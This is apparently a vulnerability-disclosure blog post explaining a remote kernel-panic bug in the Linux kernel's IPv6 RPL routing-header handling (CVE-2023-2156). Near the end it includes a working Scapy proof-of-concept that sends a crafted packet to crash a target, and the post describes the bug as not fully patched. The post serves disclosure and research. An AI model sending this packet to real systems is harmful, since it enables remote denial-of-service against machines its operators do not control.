Sometimes I feel like exploring random areas of code. It's a pretty good way to find a new bug pattern. Early last year I was doing just that, prodding around the Linux Kernel source, and came across something neat.
Something Neat
The linux kernel handles network data in a structure called an sk_buff (Socket Buffer). The structure contains a LOT of information, but the important members are these:
Head - A pointer to a block of memory containing the packet data
Data - A pointer to the start of the data to be parsed (There could be padding before the data, or already-parsed data)
Tail - An offset to the end of the packet data in the region
End - An offset to the end of the allocated block of memory
Len - The distance between the Data pointer and the tail offset
It looks a little like this:
In order to interract with this data structure, a number of functions are used, including:
skb_push (Adds data to the start of the buffer by subtracting from the data pointer)
skb_pull (Removes data from the start of the buffer by adding to the data pointer)
skb_push has a bit of code that prevents it from going outside the bounds of the allocated buffer:
If the amount of space we're adding to the start of the buffer is more than we have allocated, then it'll cause a kernel panic instead of continuing execution. This means that any vulnerabilities that would ordinarily cause out-of-bounds behaviour (the good stuff) are now reduced to denial-of-service bugs.
While a denial-of-service bug may seem boring, the "remote" aspect usually associated with sk_buffs make them still pretty interesting. A remote kernel panic is still pretty fun!
I found an instance of this issue type in the IPv6 code for handling Routing headers. More specifically, the Routing Protocol for Low-Power and Lossy Networks (RPL Source Routing - RFCs 6550 to 6554).
Routing and RPL
Network protocols are stupidly complex. Ever looked at the RFC for TCP? Absolutely disgusting. Fortunately for terrible people such as myself, complexity paves the road for bugs.
IPv6 has the concept of optional Extension Headers which contain information about the packet, how it's configured, and where it needs to go to. One category of header is the Routing header which allows packets to list a series of IPv6 devices the packet should pass through. The base structure of the Routing header is as so:
As shown above, there is a Routing Type member. This affects the format of the type-specific data. A number of Routing Types are usable:
0 - A deprecated type (Deprecated due to it allowing denial-of-services)
1 - Another deprecated type used for Nimrod routing (RFC 1992)
2 - Used for Mobile IPv6
3 - Used for RPL Source Routing
4 - Used for Segment Routing
Since the vulnerability itself resides in the implementation of RPL, Type 3 is what's important here. The full RPL header is structured as so:
RPL Source Routing also allows for the compression of addresses (RFC 6554) using the CmprI and CmprE parameters. These values say how many octets of the destination address are the same as all the addresses in the vector (and can thus be ommitted for each address in the vector).
The reason for this is that it's likely that RPL will be used in local networks where the most significant octets of all the addresses will be the same (which would be quite wasteful to transport). The CmprI value says how many octets to omit for all the addresses except the last address in the vector, and the CmprE value says how many octets to omit for the final address in the vector.
When the packet arrives at the next node, it needs to decompress the addresses for several reasons:
It needs to verify that there are no loops in the list of addresses
It needs to update the destination address of the IPv6 packet to the next address in the list and then recompress the vector based on this new destination address
The process for receiving an RPL packet is therefore:
Decompress all the addresses in the vector by attaching the CmprI/CmprE least significant octets from the addresses in the vector, to the most significant octets of the destination address
Check for loops in the addresses vector
Swap the destination address of the packet with Addresses[n - segments_left - 1] (where n is the number of addresses in the vector, as shown above)
Recompress the addresses in the vector against the new destination address
Forward the packet on
The Bug
Because of the way this standard works, it's possible to cause an amplification attack in the case where segments_left is 1: If I have a CmprI value of 15 (So each address in the vector will only contain a single byte), but have a CmprE value of 0 (so the final address in the vector contains the full 16 bytes), then when the final address in the vector becomes the destination address (as would happen when segments_left == 1), it may not be possible to recompress all the addresses.
This means that an addresses vector that is 48 bytes long (32x1-byte addresses and 1x16-byte address) the addresses vector recompresses to 528 before being forwarded onto the next machine.
Interestingly, this expansion is where the underlying bug in the code is.
In the Linux Kernel, the function that performs RPL and calls the decompression/compression routines is ipv6_rpl_srh_rcv. When it comes to decompressing the addresses vector, a buffer is allocated for it:
The big problem here is the call to skb_push, which tries to add space to the head of the skb for the addresses vector. In the example mentioned earlier, we changed 48 bytes into 528. If there are not 528 bytes to spare in the head of the SKB, then it will cause the data pointer to be below the head pointer and cause a kernel panic.
Proof-of-Concept
It's possible to trigger this on a machine with RPL enabled (sysctl -a | grep -i rpl_seg_enabled) with the following code:
# We'll use Scapy to craft the packet
from scapy.all import *
import socket
# Use the IPv6 from your LAN interface
DST_ADDR = sys.argv[1]
SRC_ADDR = DST_ADDR
# We use sockets to send the packet since sending with scapy wasn't working (And I'm far too lazy to debug things)
sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
# Craft the packet
# Type = 3 makes this an RPL packet
# Addresses contains 3 addresses, but because CmprI is 15, each octet of the first two addresses is treated as a compressed address (So technically there are 16 compressed addresses)
# Segleft = 1 to trigger the amplification
# lastentry = 0xf0 sets CmprI to 15 and CmprE to 0
p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0)
# Send this evil packet
sockfd.sendto(bytes(p), (DST_ADDR, 0))
I reported this bug through the Zero Day Initiative(ZDI-23-547). It was assigned CVE-2023-2156 but the bug patch didn't solve the underlying problem (ZDI confirmed this too), so we're still expecting another patch at somepoint. However, it has now been released as an 0day. Massive props to ZDI for relentlessly chasing up the fix over the past year.
Please click on "Preferences" to confirm your cookie preferences. By default, the essential cookies are always activated. View our Cookie Policy for more information.